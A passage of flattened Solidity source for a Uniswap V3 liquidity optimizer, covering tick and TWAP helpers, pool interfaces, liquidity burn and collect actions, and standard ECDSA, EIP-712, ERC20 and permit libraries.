new tick(upper or lower) for imbalanced token if ( zeroGreaterOne) { uint160 nextSqrtPrice0 = SqrtPriceMath.getNextSqrtPriceFromAmount0RoundingUp(sqrtPriceX96, cache.liquidity, cache.amount0Desired, false); cache.tickUpper = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice0), tickSpacing); } else{ uint160 nextSqrtPrice1 = SqrtPriceMath.getNextSqrtPriceFromAmount1RoundingDown(sqrtPriceX96, cache.liquidity, cache.amount1Desired, false); cache.tickLower = PoolVariables.floor(TickMath.getTickAtSqrtRatio(nextSqrtPrice1), tickSpacing); } checkRange(cache.tickLower, cache.tickUpper); tickLower = cache.tickLower; tickUpper = cache.tickUpper; } /// @dev Gets amounts of token0 and token1 that can be stored in range of upper and lower ticks /// @param pool Uniswap V3 pool /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param _tickLower The lower tick of the range /// @param _tickUpper The upper tick of the range /// @return amount0 amounts of token0 that can be stored in range /// @return amount1 amounts of token1 that can be stored in range function amountsForTicks(IUniswapV3Pool pool, uint256 amount0Desired, uint256 amount1Desired, int24 _tickLower, int24 _tickUpper) internal view returns(uint256 amount0, uint256 amount1) { uint128 liquidity = liquidityForAmounts(pool, amount0Desired, amount1Desired, _tickLower, _tickUpper); (amount0, amount1) = amountsForLiquidity(pool, liquidity, _tickLower, _tickUpper); } /// @dev Calc base ticks depending on base threshold and tickspacing function baseTicks(int24 currentTick, int24 baseThreshold, int24 tickSpacing) internal pure returns(int24 tickLower, int24 tickUpper) { int24 tickFloor = floor(currentTick, tickSpacing); tickLower = tickFloor - baseThreshold; tickUpper = tickFloor + baseThreshold; } /// @dev Get imbalanced token /// @param amount0Desired The desired amount of token0 /// @param amount1Desired The desired amount of token1 /// @param amount0 Amounts of token0 that can be stored in base range /// @param amount1 Amounts of token1 that can be stored in base range /// @return zeroGreaterOne true if token0 is imbalanced. False if token1 is imbalanced function amountsDirection(uint256 amount0Desired, uint256 amount1Desired, uint256 amount0, uint256 amount1) internal pure returns (bool zeroGreaterOne) { zeroGreaterOne = amount0Desired.sub(amount0).mul(amount1Desired) > amount1Desired.sub(amount1).mul(amount0Desired) ? true : false; } // Check price has not moved a lot recently. This mitigates price // manipulation during rebalance and also prevents placing orders // when it's too volatile. function checkDeviation(IUniswapV3Pool pool, int24 maxTwapDeviation, uint32 twapDuration) internal view { (, int24 currentTick, , , , , ) = pool.slot0(); int24 twap = getTwap(pool, twapDuration); int24 deviation = currentTick > twap ? currentTick - twap : twap - currentTick; require(deviation <= maxTwapDeviation, "PSC"); } /// @dev Fetches time-weighted average price in ticks from Uniswap pool for specified duration function getTwap(IUniswapV3Pool pool, uint32 twapDuration) internal view returns (int24) { uint32 _twapDuration = twapDuration; uint32[] memory secondsAgo = new uint32[](2); secondsAgo[0] = _twapDuration; secondsAgo[1] = 0; (int56[] memory tickCumulatives, ) = pool.observe(secondsAgo); return int24((tickCumulatives[1] - tickCumulatives[0]) / _twapDuration); } } /// @title Permissionless pool actions /// @notice Contains pool methods that can be called by anyone interface IUniswapV3PoolActions { /// @notice Adds liquidity for the given recipient/tickLower/tickUpper position /// @dev The caller of this method receives a callback in the form of IUniswapV3MintCallback#uniswapV3MintCallback /// in which they must pay any token0 or token1 owed for the liquidity. The amount of token0/token1 due depends /// on tickLower, tickUpper, the amount of liquidity, and the current price. /// @param recipient The address for which the liquidity will be created /// @param tickLower The lower tick of the position in which to add liquidity /// @param tickUpper The upper tick of the position in which to add liquidity /// @param amount The amount of liquidity to mint /// @param data Any data that should be passed through to the callback /// @return amount0 The amount of token0 that was paid to mint the given amount of liquidity. Matches the value in the callback /// @return amount1 The amount of token1 that was paid to mint the given amount of liquidity. Matches the value in the callback function mint( address recipient, int24 tickLower, int24 tickUpper, uint128 amount, bytes calldata data ) external returns (uint256 amount0, uint256 amount1); /// @notice Collects tokens owed to a position /// @dev Does not recompute fees earned, which must be done either via mint or burn of any amount of liquidity. /// Collect must be called by the position owner. To withdraw only token0 or only token1, amount0Requested or /// amount1Requested may be set to zero. To withdraw all tokens owed, caller may pass any value greater than the /// actual tokens owed, e.g. type(uint128).max. Tokens owed may be from accumulated swap fees or burned liquidity. /// @param recipient The address which should receive the fees collected /// @param tickLower The lower tick of the position for which to collect fees /// @param tickUpper The upper tick of the position for which to collect fees /// @param amount0Requested How much token0 should be withdrawn from the fees owed /// @param amount1Requested How much token1 should be withdrawn from the fees owed /// @return amount0 The amount of fees collected in token0 /// @return amount1 The amount of fees collected in token1 function collect( address recipient, int24 tickLower, int24 tickUpper, uint128 amount0Requested, uint128 amount1Requested ) external returns (uint128 amount0, uint128 amount1); /// @notice Burn liquidity from the sender and account tokens owed for the liquidity to the position /// @dev Can be used to trigger a recalculation of fees owed to a position by calling with an amount of 0 /// @dev Fees must be collected separately via a call to #collect /// @param tickLower The lower tick of the position for which to burn liquidity /// @param tickUpper The upper tick of the position for which to burn liquidity /// @param amount How much liquidity to burn /// @return amount0 The amount of token0 sent to the recipient /// @return amount1 The amount of token1 sent to the recipient function burn( int24 tickLower, int24 tickUpper, uint128 amount ) external returns (uint256 amount0, uint256 amount1); /// @notice Swap token0 for token1, or token1 for token0 /// @dev The caller of this method receives a callback in the form of IUniswapV3SwapCallback#uniswapV3SwapCallback /// @param recipient The address to receive the output of the swap /// @param zeroForOne The direction of the swap, true for token0 to token1, false for token1 to token0 /// @param amountSpecified The amount of the swap, which implicitly configures the swap as exact input (positive), or exact output (negative) /// @param sqrtPriceLimitX96 The Q64.96 sqrt price limit. If zero for one, the price cannot be less than this /// value after the swap. If one for zero, the price cannot be greater than this value after the swap /// @param data Any data to be passed through to the callback /// @return amount0 The delta of the balance of token0 of the pool, exact when negative, minimum when positive /// @return amount1 The delta of the balance of token1 of the pool, exact when negative, minimum when positive function swap( address recipient, bool zeroForOne, int256 amountSpecified, uint160 sqrtPriceLimitX96, bytes calldata data ) external returns (int256 amount0, int256 amount1); } /// @title Pool state that is not stored /// @notice Contains view functions to provide information about the pool that is computed rather than stored on the /// blockchain. The functions here may have variable gas costs. interface IUniswapV3PoolDerivedState { /// @notice Returns the cumulative tick and liquidity as of each timestamp `secondsAgo` from the current block timestamp /// @dev To get a time weighted average tick or liquidity-in-range, you must call this with two values, one representing /// the beginning of the period and another for the end of the period. E.g., to get the last hour time-weighted average tick, /// you must call it with secondsAgos = [3600, 0]. /// @dev The time weighted average tick represents the geometric time weighted average price of the pool, in /// log base sqrt(1.0001) of token1 / token0. The TickMath library can be used to go from a tick value to a ratio. /// @param secondsAgos From how long ago each cumulative tick and liquidity value should be returned /// @return tickCumulatives Cumulative tick values as of each `secondsAgos` from the current block timestamp /// @return secondsPerLiquidityCumulativeX128s Cumulative seconds per liquidity-in-range value as of each `secondsAgos` from the current block /// timestamp function observe(uint32[] calldata secondsAgos) external view returns (int56[] memory tickCumulatives, uint160[] memory secondsPerLiquidityCumulativeX128s); } /// @title Pool state that can change /// @notice These methods compose the pool's state, and can change with any frequency including multiple times /// per transaction interface IUniswapV3PoolState { /// @notice The 0th storage slot in the pool stores many values, and is exposed as a single method to save gas /// when accessed externally. /// @return sqrtPriceX96 The current price of the pool as a sqrt(token1/token0) Q64.96 value /// tick The current tick of the pool, i.e. according to the last tick transition that was run. /// This value may not always be equal to SqrtTickMath.getTickAtSqrtRatio(sqrtPriceX96) if the price is on a tick /// boundary. /// observationIndex The index of the last oracle observation that was written, /// observationCardinality The current maximum number of observations stored in the pool, /// observationCardinalityNext The next maximum number of observations, to be updated when the observation. /// feeProtocol The protocol fee for both tokens of the pool. /// Encoded as two 4 bit values, where the protocol fee of token1 is shifted 4 bits and the protocol fee of token0 /// is the lower 4 bits. Used as the denominator of a fraction of the swap fee, e.g. 4 means 1/4th of the swap fee. /// unlocked Whether the pool is currently locked to reentrancy function slot0() external view returns ( uint160 sqrtPriceX96, int24 tick, uint16 observationIndex, uint16 observationCardinality, uint16 observationCardinalityNext, uint8 feeProtocol, bool unlocked ); /// @notice Returns the information about a position by the position's key /// @param key The position's key is a hash of a preimage composed by the owner, tickLower and tickUpper /// @return _liquidity The amount of liquidity in the position, /// Returns feeGrowthInside0LastX128 fee growth of token0 inside the tick range as of the last mint/burn/poke, /// Returns feeGrowthInside1LastX128 fee growth of token1 inside the tick range as of the last mint/burn/poke, /// Returns tokensOwed0 the computed amount of token0 owed to the position as of the last mint/burn/poke, /// Returns tokensOwed1 the computed amount of token1 owed to the position as of the last mint/burn/poke function positions(bytes32 key) external view returns ( uint128 _liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, uint128 tokensOwed0, uint128 tokensOwed1 ); } /// @title Pool state that never changes /// @notice These parameters are fixed for a pool forever, i.e., the methods will always return the same values interface IUniswapV3PoolImmutables { /// @notice The first of the two tokens of the pool, sorted by address /// @return The token contract address function token0() external view returns (address); /// @notice The second of the two tokens of the pool, sorted by address /// @return The token contract address function token1() external view returns (address); /// @notice The pool tick spacing /// @dev Ticks can only be used at multiples of this value, minimum of 1 and always positive /// e.g.: a tickSpacing of 3 means ticks can be initialized every 3rd tick, i.e., ..., -6, -3, 0, 3, 6, ... /// This value is an int24 to avoid casting even though it is always positive. /// @return The tick spacing function tickSpacing() external view returns (int24); } /// @title The interface for a Uniswap V3 Pool /// @notice A Uniswap pool facilitates swapping and automated market making between any two assets that strictly conform /// to the ERC20 specification /// @dev The pool interface is broken up into many smaller pieces interface IUniswapV3Pool is IUniswapV3PoolImmutables, IUniswapV3PoolState, IUniswapV3PoolDerivedState, IUniswapV3PoolActions { } /// @title This library is created to conduct a variety of burn liquidity methods library PoolActions { using PoolVariables for IUniswapV3Pool; using LowGasSafeMath for uint256; using SafeCast for uint256; /** * @notice Withdraws liquidity in share proportion to the Optimizer's totalSupply. * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range * @param totalSupply The amount of total shares in existence * @param share to burn * @param to Recipient of amounts * @return amount0 Amount of token0 withdrawed * @return amount1 Amount of token1 withdrawed */ function burnLiquidityShare( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper, uint256 totalSupply, uint256 share, address to ) internal returns (uint256 amount0, uint256 amount1) { require(totalSupply > 0, "TS"); uint128 liquidityInPool = pool.positionLiquidity(tickLower, tickUpper); uint256 liquidity = uint256(liquidityInPool).mul(share) / totalSupply; if (liquidity > 0) { (amount0, amount1) = pool.burn(tickLower, tickUpper, liquidity.toUint128()); if (amount0 > 0 || amount1 > 0) { // collect liquidity share (amount0, amount1) = pool.collect( to, tickLower, tickUpper, amount0.toUint128(), amount1.toUint128() ); } } } /** * @notice Withdraws all liquidity in a range from Uniswap pool * @param pool Uniswap V3 pool * @param tickLower The lower tick of the range * @param tickUpper The upper tick of the range */ function burnAllLiquidity( IUniswapV3Pool pool, int24 tickLower, int24 tickUpper ) internal { // Burn all liquidity in this range uint128 liquidity = pool.positionLiquidity(tickLower, tickUpper); if (liquidity > 0) { pool.burn(tickLower, tickUpper, liquidity); } // Collect all owed tokens pool.collect( address(this), tickLower, tickUpper, type(uint128).max, type(uint128).max ); } } // computes square roots using the babylonian method // https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method library Babylonian { // credit for this implementation goes to // https://github.com/abdk-consulting/abdk-libraries-solidity/blob/master/ABDKMath64x64.sol#L687 function sqrt(uint256 x) internal pure returns (uint256) { if (x == 0) return 0; // this block is equivalent to r = uint256(1) << (BitMath.mostSignificantBit(x) / 2); // however that code costs significantly more gas uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return (r < r1 ? r : r1); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` * Since it is not possible to overflow a 256 bit integer with increments of one, `increment` can skip the {LowGasSafeMAth} * overflow check, thereby saving gas. This does assume however correct usage, in that the underlying `_value` is never * directly accessed. */ library Counters { using LowGasSafeMath for uint256; struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { // The {LowGasSafeMath} overflow check can be skipped here, see the comment at the top counter._value += 1; } } /// @title Function for getting the current chain ID library ChainId { /// @dev Gets the current chain ID /// @return chainId The current chain ID function get() internal pure returns (uint256 chainId) { assembly { chainId := chainid() } } } /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Overload of {ECDSA-recover} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ISS"); require(v == 27 || v == 28, "ISV"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "IS"); return signer; } /** * @dev Returns an Ethereum Signed Typed Data, created from a * `domainSeparator` and a `structHash`. This produces hash corresponding * to the one signed with the * https://eips.ethereum.org/EIPS/eip-712[`eth_signTypedData`] * JSON-RPC method as part of EIP-712. * * See {recover}. */ function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); } } /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = ChainId.get(); _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (ChainId.get() == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator(bytes32 typeHash, bytes32 name, bytes32 version) private view returns (bytes32) { return keccak256( abi.encode( typeHash, name, version, ChainId.get(), address(this) ) ); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } } /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20Permit { /** * @dev Sets `value` as the allowance of `spender` over `owner`'s tokens, * given `owner`'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for `permit`, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using LowGasSafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "TEA")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "DEB")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "FZA"); require(recipient != address(0), "TZA"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "TEB"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "MZA"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "BZA"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "BEB"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "AFZA"); require(spender != address(0), "ATZA"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /** * @dev Implementation of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on `{IERC20-approve}`, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. * * _Available since v3.4._ */ abstract contract ERC20Permit is ERC20, IERC20Permit, EIP712 { using Counters for Counters.Counter; mapping (address => Counters.Counter) private _nonces; //keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 private immutable _PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; /** * @dev Initializes the {EIP712} domain separator using the `name` parameter, and setting `version` to `"1"`. * * It's a good idea to use the same `name` that is defined as the ERC20 token name. */ constructor(string memory name) EIP712(name, "1") { } /** * @dev See {IERC20Permit-permit}. */ function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) public virtual override { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ED"); bytes32 structHash = keccak256( abi.encode( _PERMIT_TYPEHASH, owner, spender, value, _useNonce(owner), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "IS"); _approve(owner, spender, value); } /** * @dev See {IERC20Permit-nonces}. */ function nonces(address owner) public view virtual override returns (uint256) { return _nonces[owner].current(); } /** * @dev See {IERC20Permit-DOMAIN_SEPARATOR}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view override returns (bytes32) { return _domainSeparatorV4(); } /** * @dev "Consume a nonce": return the current value and increment. */ function _useNonce(address owner) internal virtual returns (uint256 current) { Counters.Counter storage nonce = _nonces[owner]; current = nonce.current(); nonce.increment(); } } /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } /// @title Math functions that do not check inputs or outputs /// @notice Contains methods that perform common math functions but do not do any overflow or underflow checks library UnsafeMath { /// @notice Returns ceil(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, ceil(x / y) function divRoundingUp(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := add(div(x, y), gt(mod(x, y), 0)) } } /// @notice Returns floor(x / y) /// @dev division by 0 has unspecified behavior, and must be checked externally /// @param x The dividend /// @param y The divisor /// @return z The quotient, floor(x / y) function unsafeDiv(uint256 x, uint256 y) internal pure returns (uint256 z) { assembly { z := div(x, y) } } } /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // 